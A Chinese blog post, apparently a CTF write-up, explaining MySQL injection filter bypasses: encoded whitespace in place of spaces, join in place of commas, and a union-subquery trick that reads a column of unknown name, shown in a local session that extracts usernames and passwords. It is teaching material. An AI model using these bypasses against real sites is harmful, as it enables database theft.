Mysql如何巧妙的绕过未知字段名详解
发布时间 - 2026-01-11 01:32:42 点击率:次前言

本文介绍的是DDCTF第五题,绕过未知字段名的技巧,这里拿本机来操作了下,思路很棒也很清晰,分享给大家,下面来看看详细的介绍:
实现思路
题目过滤空格和逗号,空格使用%0a,%0b,%0c,%0d,%a0,或者直接使用括号都可以绕过,逗号使用join绕过;
存放flag的字段名未知,information_schema.columns也将表名的hex过滤了,即获取不到字段名;这时可以利用联合查询,过程如下:
思想就是获取flag,让其在已知字段名下出现;
示例代码:
mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | a | b | c | d | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user; +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | | 1 | admin | admin888 | 110@110.com | | 2 | test | test123 | 119@119.com | | 3 | cs | cs123 | 120@120.com | +---+-------+----------+-------------+ 4 rows in set (0.01 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e; +-------------+ | 4 | +-------------+ | 4 | | 110@110.com | | 119@119.com | | 120@120.com | +-------------+ 4 rows in set (0.03 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3; +-------------+ | 4 | +-------------+ | 120@120.com | +-------------+ 1 row in set (0.01 sec) mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i; +-------------+----------+----------+-------------+ | id | username | password | email | +-------------+----------+----------+-------------+ | 1 | admin | admin888 | 110@110.com | | 120@120.com | 1 | 1 | 1 | +-------------+----------+----------+-------------+ 2 rows in set (0.04 sec)
总结
以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对的支持。
# mysql注入绕过
# mysql
# 过滤逗号
# 过滤空格
# 防止xss和sql注入:JS特殊字符过滤正则
# 一个过滤重复数据的 SQL 语句
# MySQL注入绕开过滤的技巧总结
# SQL注入中绕过 单引号 限制继续注入
# SQL注入绕过的技巧总结
# 多列复合索引的使用 绕过微软sql server的一个缺陷
# 关于SQL注入绕过的一些知识点
# SQL Server简单模式下误删除堆表记录恢复方法(绕过页眉校验)
# SQL注入技巧之显注与盲注中过滤逗号绕过详析
# 字段名
# 的是
# 作了
# 也很
# 也将
# 给大家
# 来看看
# 这篇文章
# 谢谢大家
# 本机
# 可以利用
# 很棒
# 让其
# 有疑问
# hex
# class
# pre
# sql
# gt
相关栏目:
【
网站优化151355 】
【
网络推广146373 】
【
网络技术251813 】
【
AI营销90571 】
相关推荐:
开心动漫网站制作软件下载,十分开心动画为何停播?
Laravel中的Facade(门面)到底是什么原理
常州企业网站制作公司,全国继续教育网怎么登录?
移动端脚本框架Hammer.js
如何快速完成中国万网建站详细流程?
Laravel的契約(Contracts)是什么_深入理解Laravel Contracts与依赖倒置
Laravel Pest测试框架怎么用_从PHPUnit转向Pest的Laravel测试教程
JS经典正则表达式笔试题汇总
怎么制作一个起泡网,水泡粪全漏粪育肥舍冬季氨气超过25ppm,可以有哪些措施降低舍内氨气水平?
网站制作公司哪里好做,成都网站制作公司哪家做得比较好,更正规?
Windows10怎样连接蓝牙设备_Windows10蓝牙连接步骤【教程】
Laravel项目结构怎么组织_大型Laravel应用的最佳目录结构实践
香港服务器网站搭建教程-电商部署、配置优化与安全稳定指南
Laravel怎么实现前端Toast弹窗提示_Laravel Session闪存数据Flash传递给前端【方法】
重庆市网站制作公司,重庆招聘网站哪个好?
如何彻底卸载建站之星软件?
如何快速打造个性化非模板自助建站?
如何选择可靠的免备案建站服务器?
laravel怎么实现图片的压缩和裁剪_laravel图片压缩与裁剪方法
如何快速查询网址的建站时间与历史轨迹?
如何在香港免费服务器上快速搭建网站?
js代码实现下拉菜单【推荐】
Win11搜索不到蓝牙耳机怎么办 Win11蓝牙驱动更新修复【详解】
七夕网站制作视频,七夕大促活动怎么报名?
Laravel怎么清理缓存_Laravel optimize clear命令详解
Laravel怎么写单元测试_PHPUnit在Laravel项目中的基础测试入门
PHP怎么接收前端传的文件路径_处理文件路径参数接收方法【汇总】
实例解析angularjs的filter过滤器
Bootstrap CSS布局之列表
Laravel怎么做数据加密_Laravel内置Crypt门面的加密与解密功能
php8.4header发送头信息失败怎么办_php8.4header函数问题解决【解答】
免费网站制作appp,免费制作app哪个平台好?
千库网官网入口推荐 千库网设计创意平台入口
Laravel API路由如何设计_Laravel构建RESTful API的路由最佳实践
Laravel Vite是做什么的_Laravel前端资源打包工具Vite配置与使用
网站制作软件免费下载安装,有哪些免费下载的软件网站?
Laravel Telescope怎么调试_使用Laravel Telescope进行应用监控与调试
软银砸40亿美元收购DigitalBridge 强化AI资料中心布局
js实现获取鼠标当前的位置
教你用AI将一段旋律扩展成一首完整的曲子
HTML5空格在Angular项目里怎么处理_Angular中空格的渲染问题【详解】
如何在香港服务器上快速搭建免备案网站?
如何用AWS免费套餐快速搭建高效网站?
Laravel如何记录日志_Laravel Logging系统配置与自定义日志通道
网页制作模板网站推荐,网页设计海报之类的素材哪里好?
Laravel如何处理跨站请求伪造(CSRF)保护_Laravel表单安全机制与令牌校验
Laravel如何实现事件和监听器?(Event & Listener实战)
Laravel怎么实现模型属性的自动加密
做企业网站制作流程,企业网站制作基本流程有哪些?
LinuxShell函数封装方法_脚本复用设计思路【教程】

